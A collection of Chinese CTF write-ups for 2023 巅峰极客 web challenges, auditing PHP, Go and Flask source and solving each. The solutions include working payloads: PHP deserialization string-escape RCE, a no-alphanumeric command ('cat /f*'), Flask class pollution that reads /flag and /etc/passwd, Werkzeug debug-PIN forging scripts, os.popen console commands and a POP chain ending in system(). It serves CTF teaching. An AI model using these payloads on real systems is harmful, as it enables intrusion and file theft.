2023巅峰极客 unserialize #
代码审计 #
下载源码env.xj.edisec.net:30353/login.php
my.php
<?php
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
function __destruct() {
if ($this->x) {
$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
if (eval($preg_match)) {
echo $preg_match;
exit("save_waf");
}
@eval($this->x);
}
}
}
class push_it {
private $root;
private $pwd;
function __construct($root, $pwd) {
$this->root = $root;
$this->pwd = $pwd;
}
function __destruct() {
unset($this->root);
unset($this->pwd);
}
function __toString() {
if (isset($this->root) && isset($this->pwd)) {
echo "<h1>Hello, $this->root</h1>";
}
else {
echo "<h1>out!</h1>";
}
}
}
?>
能控制$this->x就能命令执行,这里是无字母数字命令执行
index.php
<?php
include_once "my.php";
include_once "function.php";
include_once "login.html";
session_start();
if (isset($_POST['root']) && isset($_POST['pwd'])) {
$root = $_POST['root'];
$pwd = $_POST['pwd'];
$login = new push_it($root, $pwd);
$_SESSION['login'] = b(serialize($login));
die('<script>location.href=`./login.php`;</script>');
}
?>
index.php里对传入的参数先做序列化存储在$_SESSION里,并用b函数替换字符
function.php
<?php
function b($data) {
return str_replace('aaaa', 'bbbbbb', $data);
}
function a($data) {
return str_replace('bbbbbb', 'aaaa', $data);
}
?>
login.php
<?php
session_start();
include_once "my.php";
include_once "function.php";
if (!isset($_SESSION['login'])) {
echo '<script>alert(`Login First!`);location.href=`./index.php`;</script>';
}
$login = @unserialize(a($_SESSION['login']));
echo $login;
?>
当访问login.php时,会先替换字符再做反序列化
解题 #
a函数和b函数都是字符串替换,数量不一致很明显存在字符串逃逸。b函数使字符串由短变长,a函数是由长变短,我们这里利用a函数
<?php
class pull_it {
private $x;
}
class push_it {
private $root='root';
private $pwd='qwe';
}
$a=new push_it();
$b=serialize($a);
echo urlencode($b);
//O%3A7%3A%22push_it%22%3A2%3A%7Bs%3A13%3A%22%00push_it%00root%22%3Bs%3A4%3A%22root%22%3Bs%3A12%3A%22%00push_it%00pwd%22%3Bs%3A3%3A%22qwe%22%3B%7D
//O:7:"push_it":2:{s:13:"push_itroot";s:4:"root";s:12:"push_itpwd";s:3:"qwe";}
然后构造pwd,无字母数字rce,这里用到取反
<?php
class pull_it {
private $x="(~".~"system".")(~".~"cat /f*".");";
}
$a=new pull_it();
echo urlencode(serialize($a));
//O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A20%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%9C%9E%8B%DF%D0%99%D5%29%3B%22%3B%7D
//O:7:"pull_it":1:{s:10:"pull_itx";s:20:"(~������)(~�����);";}
<?php
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
}
echo urlencode(urldecode('%22%3Bs%3A12%3A%22%00push_it%00pwd%22%3B').serialize(new pull_it("(~".~"system".")(~".~"cat /f*".");")));
//%22%3Bs%3A12%3A%22%00push_it%00pwd%22%3BO%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A20%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%9C%9E%8B%DF%D0%99%D5%29%3B%22%3B%7D
//";s:12:"push_itpwd";O:7:"pull_it":1:{s:10:"pull_itx";s:20:"(~������)(~�����);";}
<?php
echo strlen(urldecode('%22%3Bs%3A12%3A%22%00push_it%00pwd%22%3BO%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A20%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%9C%9E%8B%DF%D0%99%D5%29%3B%22%3B%7D'));
?> //86
接下来构造逃逸的完整思路如下
O:7:"push_it":2:{s:13:"%00push_it%00root";s:???:"input_username";s:12:"%00push_it%00pwd";s:???:"input_pwd";}
现在可以确定input_pwd是%22%3Bs%3A12%3A%22%00push_it%00pwd%22%3BO%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A20%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%9C%9E%8B%DF%D0%99%D5%29%3B%22%3B%7D
计算input_pwd长度为86,故
O:7:"push_it":2:{s:13:"%00push_it%00root";s:???:"input_username";s:12:"%00push_it%00pwd";s:86:"input_pwd";}
需要控制input_username,吞掉";s:12:"%00push_it%00pwd";s:86:"
经过a函数后
形成O:7:"push_it":2:{s:13:"%00push_it%00root";s:???:"modify_username";s:12:"%00push_it%00pwd";s:86:"input_pwd";}
将整个%00push_it%00root属性的值先简写为user,则有
O:7:"push_it":2:{s:13:"%00push_it%00root";s:???:"userinput_pwd";}
把input_pwd填进去,有
O:7:"push_it":2:{s:13:"%00push_it%00root";s:???:"user";s:12:"%00push_it%00pwd";O:7:"pull_it":1:{s:10:"%00pull_it%00x";s:20:"(~������)(~�����);";}";}
这样一来最后的";}应该会被视为无效字符
现在需要计算input_username具体的值,a函数是把6个b换为4个a,也就是说每一组bbbbbb能吞掉2个字符,计算可得需要吞掉28个字符,因此需要28/2=14组6个b,也就是14*6=84个b
因此input_username的值为bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
input_pwd的值为%22%3Bs%3A12%3A%22%00push_it%00pwd%22%3BO%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A20%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%9C%9E%8B%DF%D0%99%D5%29%3B%22%3B%7D
最后,先post发包,然后get访问login.php即可
POST / HTTP/1.1
Host: env.xj.edisec.net:31936
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
Origin: http://env.xj.edisec.net:31936
Connection: close
Referer: http://env.xj.edisec.net:31936/
Cookie: PHPSESSID=32711d89411ebb09b0d6dcc1900982be
Upgrade-Insecure-Requests: 1
Priority: u=0, i
root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=%22%3Bs%3A12%3A%22%00push_it%00pwd%22%3BO%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A20%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%9C%9E%8B%DF%D0%99%D5%29%3B%22%3B%7D

AWDP RBAC #
代码审计 #
package main
import (
"errors"
"os"
"path/filepath"
"strings"
"github.com/gin-gonic/gin"
)
var RBACList = make(map[string]int)
type ResTemplate struct {
Success bool
Data any
}
type ExecStruct struct {
File []string
Directory []string
Pwd []string
Flag []string
FuncName string
Param string
}
func main() {
r := gin.Default()
initRBAC()
r.GET("/", func(c *gin.Context) {
htmlContent, err := os.ReadFile("index.html")
if err != nil {
c.String(400, "Error loading HTML file")
return
}
c.Writer.Write(htmlContent)
})
r.GET("/getCurrentRBAC", func(c *gin.Context) {
var response ResTemplate
if RBACList["rbac:read"] == 1 {
response = ResTemplate{
Success: true,
Data: RBACList,
}
c.JSON(200, response)
} else {
response = ResTemplate{
Success: false,
}
c.JSON(403, response)
}
})
r.POST("/execSysFunc", func(c *gin.Context) {
var execStruct ExecStruct
var response ResTemplate
err := c.ShouldBindJSON(&execStruct)
if err != nil {
response = ResTemplate{
Success: false,
Data: map[string]string{"error": err.Error()},
}
c.JSON(400, response)
}
// permission grant
RBACToGrant := make(map[string]int)
var value string
maxDeep := 0
if execStruct.Directory != nil {
for _, value = range execStruct.Directory {
if maxDeep < 8 {
RBACToGrant["directory:"+value] = 1
maxDeep++
} else {
break
}
}
}
if execStruct.Flag != nil {
for _, value = range execStruct.Flag {
if maxDeep < 8 {
RBACToGrant["flag:"+value] = 1
maxDeep++
} else {
break
}
}
}
if execStruct.Pwd != nil {
for _, value = range execStruct.Pwd {
if maxDeep < 8 {
RBACToGrant["pwd:"+value] = 1
maxDeep++
} else {
break
}
}
}
if execStruct.File != nil {
for _, value = range execStruct.File {
// Grant temporary file:return permissions
if value == "return" && RBACList["rbac:change_return"] != 1 {
if maxDeep < 5 {
RBACToGrant["rbac:change_return:1"] = 1
RBACToGrant["file:"+value] = 1
RBACToGrant["rbac:change_return:0"] = 1
maxDeep += 3
} else {
break
}
} else {
if maxDeep < 8 {
RBACToGrant["file:"+value] = 1
maxDeep++
} else {
break
}
}
}
}
updateRBAC(RBACToGrant)
result, err := execCommand(execStruct.FuncName, execStruct.Param)
if err != nil {
response = ResTemplate{
Success: false,
Data: map[string]string{"error": err.Error()},
}
c.JSON(400, response)
} else {
response = ResTemplate{
Success: true,
Data: map[string]string{"result": result},
}
initRBAC()
c.JSON(200, response)
}
})
r.Run(":80")
}
func initRBAC() {
RBACList = make(map[string]int)
RBACList["file:read"] = 0
RBACList["file:return"] = 0
RBACList["flag:read"] = 0
RBACList["flag:return"] = 0
RBACList["pwd:read"] = 0
RBACList["directory:read"] = 0
RBACList["directory:return"] = 0
RBACList["rbac:read"] = 1
RBACList["rbac:change_read"] = 1
RBACList["rbac:change_return"] = 0
}
func updateRBAC(RBACToGrant map[string]int) {
for key, value := range RBACToGrant {
if strings.HasSuffix(key, ":read") {
if RBACList["rbac:change_read"] == 1 {
RBACList[key] = value
}
} else if strings.HasSuffix(key, ":return") {
if RBACList["rbac:change_return"] == 1 {
RBACList[key] = value
}
} else if key == "rbac:change_return:1" {
RBACList["rbac:change_return"] = 1
} else if key == "rbac:change_return:0" {
RBACList["rbac:change_return"] = 0
} else {
RBACList[key] = value
}
}
}
func execCommand(funcName string, param string) (string, error) {
if funcName == "getPwd" {
if RBACList["pwd:read"] == 1 {
pwd, err := os.Getwd()
return pwd, err
} else {
return "No Permission", nil
}
} else if funcName == "getDirectory" {
// read directory
if RBACList["directory:read"] == 1 {
var fileNames []string
err := filepath.Walk(param, func(path string, info os.FileInfo, err error) error {
fileNames = append(fileNames, info.Name())
return nil
})
if err != nil {
return "error", err
}
directoryFiles := strings.Join(fileNames, " ")
if RBACList["directory:return"] == 1 {
return directoryFiles, nil
} else {
return "the directory " + param + " exists", nil
}
} else {
return "No Permission", nil
}
} else if funcName == "getFile" {
// read file
if RBACList["file:read"] == 1 {
if strings.Contains(param, "flag") {
if RBACList["flag:read"] != 1 {
return "No Permission", nil
}
}
data, err := os.ReadFile(param)
if err != nil {
return "file:"+param+" doesn't exist", nil
}
content := string(data)
if RBACList["file:return"] == 0 {
return "the file " + param + " exists", nil
} else if RBACList["file:return"] == 1 && !strings.Contains(param, "flag") {
return content, nil
} else if RBACList["file:return"] == 1 && strings.Contains(param, "flag") && RBACList["flag:return"] == 1 {
return content, nil
} else {
return "the file " + param + " exists", nil
}
} else {
return "No Permission", nil
}
} else {
return "No such func", errors.New("No such func")
}
}
else if funcName == "getFile" {
// read file
if RBACList["file:read"] == 1 {
if strings.Contains(param, "flag") {
if RBACList["flag:read"] != 1 {
return "No Permission", nil
}
}
data, err := os.ReadFile(param)
if err != nil {
return "file:" + param + " doesn't exist", nil
}
content := string(data)
if RBACList["file:return"] == 0 {
return "the file " + param + " exists", nil
} else if RBACList["file:return"] == 1 && !strings.Contains(param, "flag") {
return content, nil
} else if RBACList["file:return"] == 1 && strings.Contains(param, "flag") && RBACList["flag:return"] == 1 {
想要获取flag,需要file:read file:return flag:return都为1并且param中要有flag字符
var execStruct ExecStruct
var response ResTemplate
err := c.ShouldBindJSON(&execStruct)
if err != nil {
response = ResTemplate{
Success: false,
Data: map[string]string{"error": err.Error()},
}
c.JSON(400, response)
}
首先解析请求的json绑定到结构体ExecStruct,此过程并不会直接修改RBACList,而是通过处理RBACToGrant进行权限管理,以此查看json中的Directory、Flag、Pwd、File,然后添加到RBACToGrant,以’类型:权限’为键,1为值存放,最后通过updateRBAC更新RBACList。
if value == "return" && RBACList["rbac:change_return"] != 1 {
if maxDeep < 5 {
RBACToGrant["rbac:change_return:1"] = 1
RBACToGrant["file:"+value] = 1
RBACToGrant["rbac:change_return:0"] = 1
maxDeep += 3
} else {
break
}
当json中有"file":["return"]的时候,添加三个值到RBACToGrant
rbac:change_return:1 1
file:return 1
rbac:change_return:0 1
到updateRBAC中后
func updateRBAC(RBACToGrant map[string]int) {
for key, value := range RBACToGrant {
if strings.HasSuffix(key, ":read") {
if RBACList["rbac:change_read"] == 1 {
RBACList[key] = value
}
} else if strings.HasSuffix(key, ":return") {
if RBACList["rbac:change_return"] == 1 {
RBACList[key] = value
}
} else if key == "rbac:change_return:1" {
RBACList["rbac:change_return"] = 1
} else if key == "rbac:change_return:0" {
RBACList["rbac:change_return"] = 0
} else {
RBACList[key] = value
}
}
}
依次对应,也就是说只有在return前一条指令前存在rbac:change_return:1 1,才能修改RBAC,但是源码只有file能实现这个操作,这里就是漏洞点,因为RBACToGrant是个map类型,而go的map是无序的,所以遍历RBACToGrant的时候,有可能存在以下情况
rbac:change_return:1 1
flag:return 1
rbac:change_return:0 1
在update之后就会实现修改flag:return为1.但是一次最多只能修改一个return为1,而读取flag需要file和flag的return都为1,所以连续发正常的包是行不通,因为响应完一次就会执行initRBAC(),导致RBAC初始化,但是审计源码发现,当输入错误的函数名的时候就会导致返回400并且不执行initRBAC(),导致上一次修改的权限,可以保存下来。
解题 #
所以只需要利用错误的函数名就可以卡住权限,从而多次赋予权限使file和flag的return都为1。

EzFlask #
代码审计 #
import uuid
from flask import Flask, request, session
## 导入黑名单列表
from secret import black_list
import json
app = Flask(__name__)
## 为 Flask 应用设置一个随机的 secret_key
app.secret_key = str(uuid.uuid4())
## 检查字符串中是否包含黑名单中的敏感字符
def check(data):
for i in black_list:
if i in data:
return False
return True
## 合并两个字典或对象
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
## 定义 user 类,用于存储用户信息
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
# 验证用户信息是否匹配
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
## 存储用户对象的列表
Users = []
## 注册用户的路由处理函数
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
# 检查请求数据是否合法
if not check(request.data):
return "Register Failed"
# 将请求数据解析为 JSON 对象,所以我们发包要用json格式
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user() # 创建 user 对象
merge(data, User) # 合并数据到 user 对象
Users.append(User) # 将 user 对象添加到用户列表中
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
## 登录的路由处理函数
@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data) # 将请求数据解析为 JSON 对象
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data): # 验证用户信息是否匹配
session["username"] = data["username"] # 将用户名存储在会话中
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
## 主页的路由处理函数,用于返回当前文件的源代码
@app.route('/',methods=['GET'])
def index():
#__file__:全局变量,返回当前目录
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010) # 在指定的主机和端口上运行 Flask 应用
/register路由明显存在原型链污染(merge+json.loads)
审计题目源码,发现他最后会回显当前目录文件的内容(就是源码),我们可以修改全局变量file,从而造成任意文件读取。
题目过滤了init。
json识别unicode,我们可以用unicode绕过:\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F
也可以使用类中方法check代替类中构造方法init
因此可以直接读取/flag
解题 #
解法一 #
payload
{
"username":"aaa",
"password":"bbb",
"__class__":{
"check":{
"__globals__":{
"__file__" : "/flag"
}
}
}
}


flag错误
在 Python 中,全局变量 app 和 _static_folder 通常用于构建 Web 应用程序,并且这两者在 Flask 框架中经常使用。
app 全局变量:
app 是 Flask 应用的实例,是一个 Flask 对象。通过创建 app 对象,我们可以定义路由、处理请求、设置配置等,从而构建一个完整的 Web 应用程序。
Flask 应用实例是整个应用的核心,负责处理用户的请求并返回相应的响应。可以通过 app.route 装饰器定义路由,将不同的 URL 请求映射到对应的处理函数上。
app 对象包含了大量的功能和方法,例如 route、run、add_url_rule 等,这些方法用于处理请求和设置应用的各种配置。
通过 app.run() 方法,我们可以在指定的主机和端口上启动 Flask 应用,使其监听并处理客户端的请求。
_static_folder 全局变量:
_static_folder 是 Flask 应用中用于指定静态文件的文件夹路径。静态文件通常包括 CSS、JavaScript、图像等,用于展示网页的样式和交互效果。
静态文件可以包含在 Flask 应用中,例如 CSS 文件用于设置网页样式,JavaScript 文件用于实现网页的交互功能,图像文件用于显示图形内容等。
在 Flask 中,可以通过 app.static_folder 属性来访问 _static_folder,并指定存放静态文件的文件夹路径。默认情况下,静态文件存放在应用程序的根目录下的 static 文件夹中。
Flask 在处理请求时,会自动寻找静态文件的路径,并将静态文件发送给客户端,使网页能够正确地显示样式和图像。
/static/flag:由于”_static_folder”:”/“把静态目录直接设置为了根目录,所以/flag可以通过访问静态目录/static/flag访问。
解法二 #
题目开启了flask的debug模式,访问console控制台,配合刚刚的任意文件读取算pin即可rce
pin码生成要六要素:
1.username
通过getpass.getuser()读取或者通过文件读取/etc/passwd
2.modname
通过getattr(mod,"file",None)读取,默认值为flask.app
3.appname
通过getattr(app,"name",type(app).name)读取,默认值为Flask
4.moddir
flask库下app.py的绝对路径、当前网络的mac地址的十进制数,通过getattr(mod,"file",None)读取,实际应用中通过报错读取,如传参的时候给个不存在的变量
5.uuidnode
mac地址的十进制,通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算
6.machine_id
机器码,每一个机器都会有自已唯一的id,首先读取/etc/machine-id(docker不读它,即使有),如果有值则不读取/proc/sys/kernel/random/boot_id,否则读取该文件。接着读取/proc/self/cgroup,取第一行的最后一个斜杠/后面的所有字符串,与上面读到的值拼接起来,最后得到machine_id。一般生成pin码不对就是这错了
访问/console路由

python3.6采用MD5加密,3.8采用sha1加密。脚本们如下:
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485377581187',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'# /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
下面开始读取PIN值六要素
- username
{
"username":"aaa",
"password":"bbb",
"__class__":{
"check":{
"__globals__":{
"__file__" : "/etc/passwd"
}
}
}
}

- modname
默认值为flask.app
- appname
默认值为Flask
- moddir
{
"username":"aaa",
"password":"bbb",
"__class__":{
"check":{
"__globals__":{
"__file__" : "/ikun"
}
}
}
}

/usr/local/lib/python3.10/site-packages/flask/app.py
- uuidnode
0e:69:07:52:e6:0c
十进制是15844257228300
- machine_id
96cec10d3d9307792745ec3b85c89620
pin码计算脚本
import hashlib
from itertools import chain
## 可能的公共部分,包括用户名、模块名、类名以及相关模块路径信息
probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # appname
'/usr/local/lib/python3.10/site-packages/flask/app.py' # moddir
]
## 私有部分,包括一些唯一的标识信息
private_bits = [
'15844257228300', # uuidnode
'96cec10d3d9307792745ec3b85c89620', # machine_id
]
## 创建 SHA-1 哈希对象
h = hashlib.sha1()
## 将可能的公共部分和私有部分的信息串联在一起,并计算 SHA-1 哈希值
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
## 更新哈希值,使用 b'cookiesalt' 作为额外的盐值
h.update(b'cookiesalt')
## 构造 cookie 名称 '__wzd' + SHA-1 哈希值的前20位
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
## 如果 num 为空,则计算 num 值
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
## 如果 rv 为空,则根据 num 的长度进行格式化处理,组成带分隔符的字符串
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
## 打印结果
print(rv)
计算结果801-755-821
/console路由输入801-755-821即可执行命令
payload
import os
os.popen('ls /').read()
os.popen('cat /find_ez_flag').read()

filechecker #
代码审计 #
<?php
function file_check() {
global $_FILES;
$allowed_types = array("jpg","gif","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
return false;
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo 'Please upload images in jpg png gif format';
return false;
}
}
}
function move_File() {
global $_FILES;
$filename = md5($_FILES["file"]["name"]).".jpg";
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo "upload sucess! image saved :upload/".$filename;
}
if(file_check()){
move_File();
}
问题点:
- 虽然检查了文件扩展名(jpg、gif、png),但强制将上传文件重命名为
.jpg - 没有检查文件内容,只检查了扩展名
- 可以上传任意内容的文件,只要原始文件名扩展名是jpg/gif/png
<?php
class file
{
public $name;
public $data;
public $ou;
public function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->data='you need do something';
}
public function __call($name, $arguments)
{
// phpinfo();
return $this->ou->b='78ty7badh2';
}
public function __destruct()
{
if (@file_get_contents($this->data) == "Hellociscccn") {
$this->name->function();
}
}
}
class data
{
public $a;
public $oi;
public function __set($name, $value)
{
// TODO: Implement __set() method.
$this->yyyou();
return "hhh";
}
public function yyyou()
{
system($this->oi);
}
}
PHP反序列化漏洞链 (class.php)
这是主要攻击点!存在完整的POP链:
漏洞链分析:
<?php
file::__destruct()
→ file_get_contents($this->data) 需要返回 "Hellociscccn"
→ $this->name->function() (不存在的方法)
→ file::__call()
→ $this->ou->b='78ty7badh2' (设置不存在的属性)
→ data::__set()
→ data::yyyou()
→ system($this->oi) ← RCE命令执行!
index.php
<div>
<form action="file.php" method="post" enctype="multipart/form-data">
<label for="file">filename:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="submit">
</div>
<?php
include "file.php";
include "class.php";
echo "goto filecheck.php";
$filepath=$_POST['filepath'];
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$filepath)){
echo "<br>";
die("Don't give me dangerous code");
}
else
{
if(empty($filepath)){
die();
}
else{
$mime= mime_content_type($filepath);
echo "Image format is".$mime;
}
}
问题点:
- 过滤了常见的伪协议:
ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect - 过滤了
file和.. - 但是!没有过滤
php://伪协议
攻击思路 #
完整攻击链: #
构造恶意序列化数据(phar包)
<?php
$file = new file();
$file->data = "php://input"; // 或使用上传的文件路径
$file->name = new file();
$file->name->ou = new data();
$file->name->ou->oi = "cat /flag"; // RCE命令
上传phar文件
- 将phar文件伪装成图片(文件头加GIF89a等)
- 通过file.php上传,会被保存为
upload/md5(filename).jpg
触发反序列化
- 在index.php的filepath参数中使用:
phar://upload/xxxxx.jpg mime_content_type()函数会触发phar反序列化- 但是正则过滤了phar!
绕过方法 #
由于phar被过滤,需要寻找其他触发点。注意到:
利用 php://filter 绕过检*
php://filter/read=convert.base64-encode/resource=没有被过滤
直接构造payload触发file_get_contents
- 上传包含 “Hellociscccn” 的文件
- 使用
php://input并POST数据 “Hellociscccn”
gosession #
代码审计 #
main.go
package main
import (
"github.com/gin-gonic/gin"
"main/route"
)
func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)
r.Run("0.0.0.0:80")
}
main函数给了三个路由,分别对应根路径 /、/admin 和 /flask
route.go
package route
import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, guest")
}
func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}
func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
c.String(200, string(body))
}
这是一个路由文件,使用了Gin框架和pongo2的模板引擎
主要定义了三个路由函数,接下来逐步分析
Index函数
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, guest")
}
Index函数用于处理根路径下的请求,它的参数是一个指向gin.Context的指针,而gin.Context是Gin框架中的一种上下文对象类型。它是一个包含了当前http请求和响应的信息、操作方法和属性的结构体,用于在处理http请求时传递和操作这些信息。同时gin.Context还提供了一系列的方法用于处理这些信息
首先是接收session的参数name,然后判断会话中的name值是否为空,如果为空,就会将name的值设置为guest,然后将会话保存到请求中,最后使用String方法返回一个状态码和一个字符串。

Admin函数
func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}
函数首先判断是否为空,然后判断是否为admin,如果是name为admin,那么从查询参数中获取名为 name 的值,然后EscapeString函数进行转义,接着使用pongo2模板引擎打印字符串
Flask函数
func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
c.String(200, string(body))
}
函数判断参数name值是否为空,如果为空则返回报错信息
